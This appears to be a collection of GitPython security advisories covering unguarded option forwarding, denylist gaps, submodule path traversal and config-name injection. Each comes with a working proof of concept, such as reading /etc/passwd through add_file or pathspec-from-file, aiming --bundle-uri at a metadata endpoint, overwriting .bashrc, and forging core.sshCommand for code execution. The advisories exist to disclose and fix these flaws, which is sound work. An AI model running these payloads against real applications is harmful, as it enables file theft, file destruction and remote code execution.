Impact is a read at the privileges of the process. I am not claiming code execution for this instance. The signing options (-s, -u/--local-user) do invoke gpg from the same unguarded kwargs, but I did not develop that into command execution and make no claim about it.

---

Sweep results — the other 12 sites

Reported so the fix can be scoped once rather than per report. poc/sweep.py reproduces this list.

Call site	git command	Assessment
IndexFile.from_tree()	read-tree	--index-output=<path> looked reachable but is neutralised: GitPython appends its own --index-output after the caller's kwargs and git honours the last occurrence. Verified — victim file unchanged (poc/poc_readtree.py)
IndexFile.remove()	rm	--pathspec-from-file only reads a pathspec; no write or disclosure primitive found
IndexFile.move()	mv	same
HEAD.reset()	reset	same
HEAD.checkout()	checkout	same
Head.delete(), RemoteReference.delete()	branch	no path-taking option found
Repo.merge_base()	merge-base	no path-taking option found
Repo._get_untracked_files()	status	no path-taking option found
Remote.set_url(), Remote.create(), Remote.update()	remote	URL handling already addressed by GHSA-94p4-4cq8-9g67

Suggested remediation

Immediate: add allow_unsafe_options: bool = False to both methods and gate Git._option_candidates(args, kwargs) against new lists — unsafe_git_checkout_index_options = ["--prefix"] (consider --temp) and unsafe_git_tag_options = ["--file", "-F"] (consider -s, -u/--local-user, --cleanup) — matching the pattern used in Repo.archive() and Commit.count().

Structural: this defect has now been fixed four times in four places (Repo.archive(), Git.ls_remote(), Commit.count(), and the two here), because the guard is opt-in per method: every new **kwargs-forwarding API starts unguarded and stays that way until someone reports it. Enforcing the check centrally in Git._call_process() — each git invocation consults a per-command unsafe-option table unless the caller opts out — would make new call sites safe by default rather than by review, and would close the remaining sites in the table above at the same time.

Disclosure

Reported privately via GitHub private vulnerability reporting.

Severity

• CVSS Score: 8.1 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3f7w-8rr8-f37f
• https://github.com/gitpython-developers/GitPython/pull/2193
• https://github.com/gitpython-developers/GitPython/commit/3af0c2516c5e18c829da30338614688f6b69b49c
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

GitPython: Incomplete unsafe_git_archive_options denylist omits --add-file / --add-virtual-file, enabling arbitrary file read via Repo.archive()

CVE-2026-73619 / GHSA-539m-9xh6-q6rr / PYSEC-2026-3948

More information

Details

Target: gitpython-developers/GitPython
Tested: HEAD 07e80555 (2026-07-25), latest release 3.1.55, git version 2.50.1

Summary

Repo.archive() does call the option guard, so this is not a missing-guard report. The guard is present and working; the denylist it consults is incomplete.

##### git/repo/base.py:169
unsafe_git_archive_options = [
    # Allows arbitrary command execution through the remote git-upload-archive command.
    "--exec",
    # Writes output to a caller-controlled filesystem path.
    "--output",
    "-o",
]

The comment on --output states the protected class in the project's own words: an option that lets the caller name a filesystem path is unsafe. --output is blocked because it writes to a caller-chosen path.

git archive also accepts --add-file=<path> and --add-virtual-file=<path:content> (both present in current git; verified against git version 2.50.1). --add-file reads a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them:

$ grep -rniE "add.file|add_file" git/
git/index/base.py:771:   R"""Add files from the working tree, ...      # unrelated docstring

Net effect: the guard blocks arbitrary file write at this sink while permitting arbitrary file read at the same sink.

Reachability proof (verified at the sink)

poc/poc_addfile.py at HEAD 07e80555. The PoC creates its own out-of-tree canary, so it runs from a clean machine:

-- CONTROL: options the denylist covers (expect BLOCKED) --
  [BLOCKED] output='/tmp/gp_written.tar': --output is not allowed, use `allow_unsafe_options=True` to allow it.
  [BLOCKED] o='/tmp/gp_written.tar': -o is not allowed, use `allow_unsafe_options=True` to allow it.
  [BLOCKED] exec='touch /tmp/gp_exec': --exec is not allowed, use `allow_unsafe_options=True` to allow it.

-- SIBLING OMITTED FROM THE DENYLIST: --add-file (expect ALLOWED) --
  [ALLOWED] add_file='/tmp/gp_canary.txt'  -> archive 10240 bytes
  archive members: ['f.txt', 'gp_canary.txt']
  >>> EXFILTRATED gp_canary.txt: 'secret-canary-12345'
  >>> byte-for-byte match with the out-of-tree file: CONFIRMED

-- also: --add-virtual-file (attacker-chosen name AND content) --
  [ALLOWED] add_virtual_file='pwn.txt:hello'  -> archive 10240 bytes

The three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran.

Minimal reproduction:

import io, tarfile
from git import Repo

buf = io.BytesIO()
Repo("/path/to/repo").archive(buf, format="tar", add_file="/etc/passwd")
print(tarfile.open(fileobj=io.BytesIO(buf.getvalue())).getnames())

##### ['<repo files>', 'passwd']   <- contents readable by whoever receives the archive

The canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by transform_kwargs into --add-file=<path> and reaches git archive unmodified.

Direct precedent

GHSA-6p8h-3wgx-97gf (High, published 2026-07-22) is the same defect on the sibling list: "Incomplete unsafe_git_clone_options denylist omits --template" — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it. git log shows the archive list itself has already been extended reactively once, in 701ce32f (fix: Guard unsafe git command options, GHSA-956x-8gvw-wg5v), and the --template omission was then fixed separately in ffcb5359.

--add-virtual-file is the same gap pointing the other way

--add-virtual-file=<path:content> lets the caller inject attacker-chosen content under an attacker-chosen name into an archive that downstream consumers will reasonably treat as repository-derived.

Suggested remediation

1. Preferred — allowlist. Repo.archive() has a small legitimate option surface (format, prefix, worktree_attributes, remote, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this.
2. Minimum — extend the list with --add-file and --add-virtual-file, and make the membership rule "the option takes a filesystem path or URL" rather than "the option executes a command". The existing comment on --output already implies that rule; applying it consistently is what closes the class instead of this instance.

Scope limits

• Impact is arbitrary file read at the privileges of the process. Not code execution — I make no such claim here.
• It requires the embedding application to forward caller-influenced kwargs into Repo.archive(). That is the identical precondition to --output, --exec and --template, all of which this project has treated as reportable.

Disclosure

Reported privately via GitHub private vulnerability reporting. Happy to test a candidate patch against the PoC. No public disclosure until you have shipped a fix and are ready.

Addendum (2026-07-25) — related observation on the same membership question, filed here rather than separately

While auditing the archive denylist, the same class of gap was identified in unsafe_git_clone_options. A second advisory is not being requested, as the issue is lower severity and should inform the fix for the issue above rather than require separate triage. Recording it here to provide the complete picture in one place.

Repo._clone() treats a URL's protocol as a security boundary and applies check_unsafe_protocols() to exactly one input:

clone_url = Git.polish_url(url, expand_vars=False)
if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(clone_url)      # the positional url only

git clone accepts a second URL via --bundle-uri=<uri>, which git dereferences before the main transport runs. That option is absent from unsafe_git_clone_options, so the option guard passes it, and check_unsafe_protocols() never inspects it. A caller-influenced value therefore drives an outbound request from the host:

Repo.clone_from(trusted_url, dest,
                multi_options=["--bundle-uri=http://169.254.169.254/latest/meta-data/"])

##### no UnsafeProtocolError, no UnsafeOptionError

Confirmed against a local listener — the request leaves the process:

127.0.0.1 - - [24/Jul/2026 23:07:41] "GET /internal-metadata HTTP/1.1" 404 -

file:///path is likewise accepted without error. Note this is not a tokenisation bypass: multi_options is shlex.split before the check (per c9a26789 / GHSA-x2qx-6953-8485), so the fully-split --bundle-uri=... token is checked and legitimately passes because the option is not on the list.

Why it belongs with this report: both are the membership question rather than the matching logic — is the set of blocked options complete, and does the protocol guard inspect every URL git will dereference? The structural remediation proposed above covers both if extended slightly: prefer an allowlist per command, and route every URL-bearing option through check_unsafe_protocols(), not only the positional URL. Adding --bundle-uri to unsafe_git_clone_options would be the minimal fix.

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-539m-9xh6-q6rr
• https://github.com/gitpython-developers/GitPython/pull/2193
• https://github.com/gitpython-developers/GitPython/commit/7a4f5dcb7bf3cbcbf6e438017efcdfe0bc0d36ca
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

CVE-2026-73619 / GHSA-539m-9xh6-q6rr / PYSEC-2026-3948

More information

Details

GitPython before 3.1.57 contains an incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add-virtual-file options. Attackers can supply these options to Repo.archive() to read arbitrary files from the filesystem and include them in the returned archive.

Severity

• CVSS Score: 7.1 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

• https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-archive
• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-539m-9xh6-q6rr

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

CVE-2026-73620 / GHSA-3f7w-8rr8-f37f / PYSEC-2026-3949

More information

Details

GitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band.

Severity

• CVSS Score: 7.2 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

• https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-and-read
• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3f7w-8rr8-f37f

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

GitPython: Unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree enables arbitrary file overwrite

CVE-2026-76219 / GHSA-4gmw-gg2m-w46p / PYSEC-2026-3838

More information

Details

Summary

IndexFile.from_tree, IndexFile.reset (→ from_tree) and IndexFile.merge_tree append caller-influenced treeish strings positionally to git read-tree with no unsafe-option guard, no allow_unsafe_options parameter, and no -- separator. git read-tree --index-output=<file> writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected --index-output override the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit 3af0c251 (GHSA-3f7w-8rr8-f37f) guarded only checkout_index and tag; read_tree was left unprotected (it is among the acknowledged unguarded call sites in that advisory's sweep but was never reported or fixed).

Root Cause

from_tree (index/base.py:388), reset (delegates to from_tree), and merge_tree (index/base.py:291) call repo.git.read_tree(*arg_list) with no check_unsafe_options and no --. The treeish is caller-influenced and positional.

Impact

Arbitrary file overwrite / destruction at the privileges of the host process. Content is constrained to a git-index blob (not attacker-chosen, so not RCE), but the target path is fully attacker-controlled — corrupting/truncating configs or destroying files at attacker-chosen writable locations = I:H + A:H (per the skill's "overwrite-any-path = I:H" rule). Pure VALUE control (positional treeish). Default configuration.

Proof of Concept

IndexFile.from_tree(repo, "--index-output=/home/victim/.bashrc")

##### target overwritten with a valid git-index blob (DIRC...)

Attack Chain

1. Entry: app calls IndexFile.from_tree(repo, treeish) / reset(commit=…) / merge_tree(base=…, rhs=…) with attacker treeish="--index-output=/home/victim/.bashrc".
2. Check: NONE — the methods have no allow_unsafe_options and never call check_unsafe_options.
3. Sink: repo.git.read_tree(*arg_list) — no --. argv (from_tree, observed): ['git','read-tree','--index-output=<tmp>','--index-output=/…/victim'] (last-wins).
4. Impact: target path created/overwritten with a valid git-index blob; existing content destroyed.

Bypass Evidence

Independently reproduced (gate harness): IndexFile.from_tree(repo,'--index-output=<victim>') → victim overwritten; before=IMPORTANT ORIGINAL CONTENT, after starts DIRC\x00\x00\x00\x02… (destructive clobber, valid index blob). reset(commit=…) and both merge_tree positionals verified. Fix-commit read: 3af0c251 touched only checkout_index+tag; read_tree untouched on HEAD.

Affected Versions

GitPython <= 3.1.57 (sinks present verbatim on the latest release tag).

Suggested Fix

Add a check_unsafe_options guard (with an allow_unsafe_options parameter) to from_tree/reset/merge_tree, and/or place a -- separator before the positional treeish arguments; block --index-output (a path-taking option) on this sink.

Severity

• CVSS Score: 8.1 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-4gmw-gg2m-w46p
• https://nvd.nist.gov/vuln/detail/CVE-2026-76219
• https://github.com/gitpython-developers/GitPython/pull/2204
• https://github.com/gitpython-developers/GitPython/commit/9b5dcaf85da5946dbf69dcd53f9edba08f760b32
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58
• https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-read-tree

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks

CVE-2026-76218 / GHSA-9rj7-rf2p-w77r / PYSEC-2026-3840

More information

Details

Summary

Repo.init() forwards **kwargs verbatim to git init with no unsafe-option guard and no allow_unsafe_options parameter. git init --template=<dir> copies <dir>/hooks/* into the new repo's .git/hooks, so an attacker-controlled template kwarg plants a hook that executes on the next git operation → arbitrary code execution. --template is already recognized as unsafe for clone (it is on unsafe_git_clone_options, and GHSA-6p8h-3wgx-97gf covers the clone path), but Repo.init is a distinct method that never received a guard and needs an independent fix.

Root Cause

Repo.init(path, mkdir, odbt, expand_vars, **kwargs) is a bare git.init(**kwargs) (git/repo/base.py:1435) with no check_unsafe_options and no allow_unsafe_options.

Impact

Arbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a template= kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Default allow_unsafe_options is irrelevant here because Repo.init has no guard at all.

Proof of Concept

##### attacker stages /evil/hooks/post-commit (executable)
from git import Repo
Repo.init(path, template="/evil")

##### next commit runs /evil/hooks/post-commit -> ACE

Attack Chain

1. Entry: attacker stages /evil/hooks/post-commit (executable) and gets the app to call Repo.init(path, template='/evil').
2. Check: NONE on Repo.init. Bypass proof: base.py:1435 is a bare git.init(**kwargs). argv (observed): ['git','init','--template=/evil'].
3. Sink: git copies /evil/hooks/post-commit → <repo>/.git/hooks/post-commit.
4. Impact: next commit runs the hook → arbitrary code execution.

Bypass Evidence

Independently reproduced (gate harness): Repo.init(dst, template='<evil>') → argv ['git','init','--template=<evil>'] unguarded; hook copied into .git/hooks/post-commit; after git commit the INIT_ACE marker was created. --separate-git-dir=<path> is a parallel arbitrary-redirect vector through the same unguarded sink (value control only).

Affected Versions

GitPython <= 3.1.57 (unguarded git.init(**kwargs) present verbatim on the latest release tag).

Suggested Fix

Add a check_unsafe_options guard (with an allow_unsafe_options parameter) to Repo.init, consulting a denylist that includes --template and --separate-git-dir (path-taking / hook-installing options).

---

Reported by zx (Jace) — GitHub: @​manus-use

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r
• https://nvd.nist.gov/vuln/detail/CVE-2026-76218
• https://github.com/gitpython-developers/GitPython/pull/2204
• https://github.com/gitpython-developers/GitPython/commit/d9ddb55bdc66
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58
• https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()

CVE-2026-76217 / GHSA-hh9p-6wh2-4mfc / PYSEC-2026-3841

More information

Details

Summary

IndexFile.remove() and Head.checkout() forward **kwargs into git rm and git checkout
with no guard. Passing --pathspec-from-file=<file> together with --pathspec-file-nul
makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec
error quotes it verbatim. GitPython surfaces that through GitCommandError.stderr, so the
entire contents of a caller-chosen file are returned to the caller in band.

This is the same primitive as Instance 2 of
GHSA-3f7w-8rr8-f37f - TagReference.create()
with -F, arbitrary file read returned in band - at two sites that advisory assessed and
cleared.

Prior art, and why I am filing rather than commenting

GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment
"--pathspec-from-file only reads a pathspec; no write or disclosure primitive found":

Call site	git command	that advisory's assessment
IndexFile.remove()	rm	--pathspec-from-file only reads a pathspec; no write or disclosure primitive found
IndexFile.move()	mv	same
HEAD.reset()	reset	same
HEAD.checkout()	checkout	same

That assessment is very nearly right, and I think that is why it held: with
--pathspec-from-file alone, Git splits on newlines and the error quotes only the first
line, which reads as an uninteresting partial. Adding --pathspec-file-nul - a sibling flag
of the same option, and the documented way to handle paths containing newlines - makes the
whole file one pathspec.

Root cause

git/index/base.py:991-1043:

def remove(self, items, working_tree=False, **kwargs):
    ...
    removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines()   # line 1043

git/refs/head.py:237-268:

def checkout(self, force: bool = False, **kwargs: Any):
    ...
    self.repo.git.checkout(self, **kwargs)                                 # line 268

Neither has an allow_unsafe_options parameter or a check_unsafe_options() call.

Proof of concept

from git import Repo
from git.exc import GitCommandError

repo = Repo("/path/to/repo")
kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True)

try:
    repo.index.remove([], **kw)          # or: repo.heads[0].checkout(**kw)
except GitCommandError as e:
    print(e.stderr)                      # <- entire file contents

Observed on published 3.1.57, against a canary file holding three marked lines:

[PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band
       stderr: 'fatal: pathspec 'LINE1-CANARY-4242
       LINE2-SECRET-7777
       LINE3-TAIL-9999
       ' did not match any files'
[PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band
       stderr: 'error: pathspec 'LINE1-CANARY-4242
       LINE2-SECRET-7777
       LINE3-TAIL-9999
       ' did not match any file(s) known to git'
[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses
[PASS] PRECISION: the GUARDED checkout-index leaks 0/3

The two precision controls are there so the result is about these sinks and not about the
canary being visible everywhere.

Scope correction to the table above

Of the four sites cleared with that sentence, two disclose and two do not:

Call site	disclosed?
IndexFile.remove() → git rm	yes, full file
Head.checkout() → git checkout	yes, full file
HEAD.reset() → git reset	no - git reset does not error on unmatched pathspecs
IndexFile.move() → git mv	no

The two negatives are mentioned because "the dismissal was wrong" would overstate it: the
dismissal was wrong for half of what it covered.

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc
• https://nvd.nist.gov/vuln/detail/CVE-2026-76217
• https://github.com/gitpython-developers/GitPython/pull/2204
• https://github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58
• https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

GitPython: Arbitrary Git Repository Creation Outside the Working Tree via Unvalidated .gitmodules Submodule Name in GitPython

CVE-2026-76222 / GHSA-hmq2-w58f-27jc / PYSEC-2026-3784

More information

Details

Summary

GitPython computes the on-disk location of a submodule's separate Git directory (.git/modules/<name>) from the submodule's .gitmodules section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. ../../../../home/victim/.something) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (submodule_update(init=True) / sm.update(init=True)), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check.

Details

src/GitPython/git/objects/submodule/util.py sm_name() strips the submodule " / " wrapper from a .gitmodules [submodule "..."] header and returns the result unchecked. Submodule.iter_items() in src/GitPython/git/objects/submodule/base.py reads this via sm_name(sms) and assigns it to sm._name; unlike the submodule path, name is never used for a tree lookup, so it is never implicitly validated. Submodule._module_abspath() then builds osp.join(parent_repo.git_dir, "modules", name) - os.path.join does not normalize ../ sequences. Submodule._clone_repo() passes this value straight to os.makedirs() and to git clone --separate-git-dir=<module_abspath>, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for.

PoC

1. Environment: Docker image built FROM python:3.11-slim, with git installed via apt-get install -y git (Debian bookworm packaged version, described in the advisory as "git 2.x"; the host-side verification separately used system git 2.34.1, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container via pip install /src/GitPython from this repository's own source, which the advisory states resolved to the officially released GitPython==3.1.57 and gitdb==4.0.12.
2. Configuration / preconditions: None beyond what's described - the victim must clone the attacker's repository with GitPython and run submodule initialization (repo.submodules + sm.update(init=True), equivalent to git submodule update --init).
3. Commands run (quoted verbatim from the advisory's "Confirmed test run" section):

$ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc .
$ docker run --rm ghsa-gitpython-poc

(Per the Dockerfile, docker run executes /work/run_all.sh, which in turn runs build_attacker_repo.sh, then poc_gitpython.py, then poc_control_realgit.sh.)
4. Full source of the PoC script (GHSA/testing/poc_gitpython.py), verbatim:

"""GHSA-001 PoC: GitPython side.

Clones the attacker repo and runs the equivalent of
`git submodule update --init` via GitPython, then checks whether a git
repository was created outside the clone directory.
"""
import os
import shutil

import git

CLONE_DIR = '/work/victim_clone/repo'
ESCAPE_TARGET = '/tmp/gitpython_poc_escaped_root'

def main():
    shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True)
    shutil.rmtree(ESCAPE_TARGET, ignore_errors=True)
    os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True)

    print(f'GitPython version: {git.__version__}')
    repo = git.Repo.clone_from('/work/attacker_repo', CLONE_DIR)
    print('Cloned into:', repo.working_tree_dir)

    sms = list(repo.submodules)
    for sm in sms:
        print('  submodule name:', repr(sm.name))
        print('  submodule path:', repr(sm.path))

    print('escape_target exists before update:', os.path.exists(ESCAPE_TARGET))

    for sm in sms:
        try:
            sm.update(init=True)
        except Exception as e:
            print('sm.update raised:', repr(e))

    exists = os.path.exists(ESCAPE_TARGET)
    print('escape_target exists after update:', exists)
    if exists:
        print('escape_target contents:', os.listdir(ESCAPE_TARGET))

    print('POC_RESULT=VULNERABLE' if exists else 'POC_RESULT=SAFE')

if __name__ == '__main__':
    main()

5. Exact captured terminal output (verbatim, from the original advisory's "Confirmed test run (Docker, released package)" section):

=== GitPython PoC (vulnerable path) ===
GitPython version: 3.1.57
Cloned into: /work/victim_clone/repo
  submodule name: '../../../../../../tmp/gitpython_poc_escaped_root/modules_dir'
  submodule path: 'legit_dir'
escape_target exists before update: False
escape_target exists after update: True
escape_target contents: ['modules_dir']
POC_RESULT=VULNERABLE

=== Control: real git CLI on identical repo ===
warning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir
warning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir
fatal: No url found for submodule path 'legit_dir' in .gitmodules
CONTROL_RESULT=SAFE (real git correctly refused)

6. Payload: the attacker rewrites the .gitmodules section header from [submodule "legit_dir"] to [submodule "../../../../../../tmp/gitpython_poc_escaped_root/modules_dir"] (built by build_attacker_repo.sh, part of the harness in GHSA/testing/). The malicious part is the ../../../../../../ traversal sequence embedded in the submodule name (not the tree-validated path), which becomes the on-disk target for the submodule's separate git directory.
7. Expected vs. observed: A safe implementation (as demonstrated by the real git CLI control run) rejects the submodule name with "ignoring suspicious submodule name" and refuses to create anything outside the repository. GitPython instead created the escape-target directory and a fully-initialized Git repository at /tmp/gitpython_poc_escaped_root/modules_dir, confirmed by escape_target exists after update: True and its listed contents.
8. Security impact demonstrated: arbitrary filesystem directory and Git-repository creation at an attacker-chosen absolute path outside the victim's intended clone directory, populated with attacker-controlled content sourced from the submodule's own (also attacker-controlled) url.

Impact

Path traversal (CWE-22) / external control of file path (CWE-73) leading to arbitrary directory and Git-repository creation outside the intended clone directory. Integrity impact is High (attacker chooses destination path and, via the submodule URL, much of the written content); Confidentiality impact is None (only creation was demonstrated); Availability impact is Low-Medium (disk-exhaustion potential). No authentication is required; the attacker only needs to control a repository the victim clones and initializes submodules for - a routine, often fully-automatic operation in CI pipelines, IDE integrations, and dependency-management tooling.

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc
• https://nvd.nist.gov/vuln/detail/CVE-2026-76222
• https://github.com/gitpython-developers/GitPython/pull/2202
• https://github.com/gitpython-developers/GitPython/commit/4299c990e1ca21896f9485277caf7bb0ae5b404c
• https://github.com/gitpython-developers/GitPython/commit/e4b8e7d026ca6abb4cf604f8e77093432ce23c06
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58
• https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3784.yaml
• https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-gitmodules-submodule-name

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

GitPython: git-config OPTION-name injection via =/#/whitespace bypasses name validator, enabling forged core.sshCommand/hooksPath (RCE)

CVE-2026-76221 / GHSA-jm78-9fvv-mhgr / PYSEC-2026-3783

More information

Details

Summary

GitPython's config-name validator only neutralizes CR/LF/NUL for the "option" label; it does not reject =, #, ;, [, ], or whitespace in an option name. write_section writes the option name verbatim into the config file, so an option name such as sshCommand = touch <cmd> # is written as \tsshCommand = touch <cmd> # = <value>, which git parses as core.sshCommand = touch <cmd> (the trailing # comments out the intended value). This forges arbitrary config directives (core.sshCommand, core.hooksPath, alias.*) → RCE on the next git operation. This is a distinct field (option name, not section name) and distinct character class (=/#/space, not newline/bracket) from GHSA-3rp5-jjmw-4wv2 (section-name bracket injection) and GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67 (newline injection).

Root Cause

_assure_config_name_safe(name, label) (git/config.py:897) applies the bracket/quote state machine ONLY when label == "section"; for the "option" label it falls through with just the UNSAFE_CONFIG_CHARS_RE = [\r\n\x00] regex. write_section then writes the option name verbatim into "\t%s = %s\n" (config.py:702).

Impact

Arbitrary git-config directive injection → remote code execution via core.sshCommand (fires on any ssh git operation, no staged file needed) or core.hooksPath (with a staged hook). Requires the embedding application to forward a caller-influenced OPTION NAME into the config writer (name-control model, the same name-control model accepted by the related published advisories GHSA-3rp5-jjmw-4wv2 and GHSA-mv93-w799-cj2w). Default configuration.

Proof of Concept

with repo.config_writer() as cw:
    cw.set_value("core", "sshCommand = touch /tmp/RCE #", "x")

##### git config --get core.sshCommand  ->  touch /tmp/RCE

Attack Chain

1. Entry: app calls config writer with attacker-controlled OPTION name: set_value("core", "sshCommand = touch /tmp/RCE #", "x").
2. Check: _assure_config_name_safe(option, "option") @​ config.py. Guard: regex matches only [\r\n\x00]; bracket/quote state machine is gated on label=="section". Bypass proof: =,#,space pass → no ValueError.
3. Sink: write_section writes "\tsshCommand = touch /tmp/RCE # = x\n" (config.py:702).
4. Impact: git parses core.sshCommand=touch /tmp/RCE → arbitrary code execution on next git op.

Bypass Evidence

Independently reproduced (gate harness): set_value('core','sshCommand = touch <RCE> #','x') → no ValueError; file line sshCommand = touch <RCE> # = x; git config --get core.sshCommand → touch <RCE> (rc=0). Also verified core.hooksPath via both GitConfigParser and repo.config_writer(). Fix-commit read: bracket/quote checks are inside if label == "section"; the "option" label is not covered.

Affected Versions

GitPython <= 3.1.57 (validator present verbatim on the latest release tag).

Suggested Fix

Apply the section-name safety checks (reject =, #, ;, [, ], whitespace) to the "option" label as well, or validate the fully-rendered config line after substitution.

---

Reported by zx (Jace) — GitHub: @​manus-use

Severity

• CVSS Score: 8.8 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-jm78-9fvv-mhgr
• https://github.com/gitpython-developers/GitPython/pull/2204
• https://github.com/gitpython-developers/GitPython/commit/a495ccd3b547ccd60b2187215823b72a9c0188bf
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

GitPython: Unsafe git option guard bypass via split_single_char_options=False short-option token smuggling enables command execution

CVE-2026-76220 / GHSA-wvpp-8hx9-p66j / PYSEC-2026-3843

More information

Details

Summary

